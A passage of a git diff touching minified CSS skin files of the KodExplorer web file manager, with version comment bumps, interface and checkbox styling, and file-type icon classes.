5px #000;opacity:0.95;} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar_menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar_menu, body .topbar .content .topbar_menu:hover, body .topbar .content .topbar_menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share_title, body .topbar .content .share_info, body .topbar .content .share_info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top_right div.share_info_user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{ background:#666;} body .frame-main .frame-right .file_select_info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom_box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom_box .cell:hover{ background:rgba(234,234,234,0.16);} body .user_space_info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group_space_use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #history_back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input_style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button_style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button_style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button_style:active, body .button_style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:active, body .frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball_input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball_input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.fileList_icon div.file .filename, body .file-draging.fileList_list div.file .filename, body .file-draging.fileList_list_split div.file .filename{ visibility:hidden;} body .file-draging.fileList_icon div.file.handle_target .filename, body .file-draging.fileList_list div.file.handle_target .filename, body .file-draging.fileList_list_split div.file.handle_target .filename{ visibility:visible;} body .fileList_icon .file{ color:#fff;} body .fileList_list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .fileList_list .file.file2{ background:rgba(221,221,221,0.02);} body .fileContiner .file, body .fileContiner .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .fileContiner .file.hover, body .fileContiner .file.select_split_parent, body .fileContiner .file2.hover, body .fileContiner .file2.select_split_parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .fileContiner .file.select, body .fileContiner .file.selectDragTemp, body .fileContiner .file2.select, body .fileContiner .file2.selectDragTemp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .fileList_list_split .split_box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .fileList_list_split .split_box.split_hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .fileList_list_split .split_box.split_select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body #list_type_list{ background:none;} body #main_title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main_title .this{ background:rgba(234,234,234,0.16);} body #main_title .filename, body #main_title .filesize, body #main_title .filetype, body #main_title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main_title .filename:hover, body #main_title .filesize:hover, body #main_title .filetype:hover, body #main_title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page_editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page_editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page_editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu_left, body #body .app_menu_left{ background:rgba(230,230,230,0.2);background:#2d2d2d url('./../../images/wall_page/3.jpg');background-size:cover;} body #body .menu_left h1, body #body .app_menu_left h1{ color:#fff;font-weight:400;} body #body .menu_left .setting a, body #body .app_menu_left .setting a{ color:#fff;} body #body .menu_left .setting a:hover, body #body .app_menu_left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu_left .setting a.selected, body #body .app_menu_left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .main .nav a:hover, body #body .main .nav a.this{ background:#555;border:1px solid #555;} body #body .user_list a{ color:#2a6496;} body #body .system_conennt .left_freame .left_content .ztree li a{ text-shadow:none;} body #body .system_conennt .left_freame .left_content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body #body .system_conennt .left_freame .left_content .ztree li a .sub_menu{ color:#888 !important;} body#page_explorer .task_tab, body#page_editor .task_tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body.setting_page .ztree li a{ color:inherit;}} -/* ver 3.42(2017-04-07) [build 1491589357.2068] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999050.0556] */ \ No newline at end of file diff --git a/static/style/skin/base/app_code_edit.css b/static/style/skin/base/app_code_edit.css index ae32704..44be282 100755 --- a/static/style/skin/base/app_code_edit.css +++ b/static/style/skin/base/app_code_edit.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589354.5028] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none 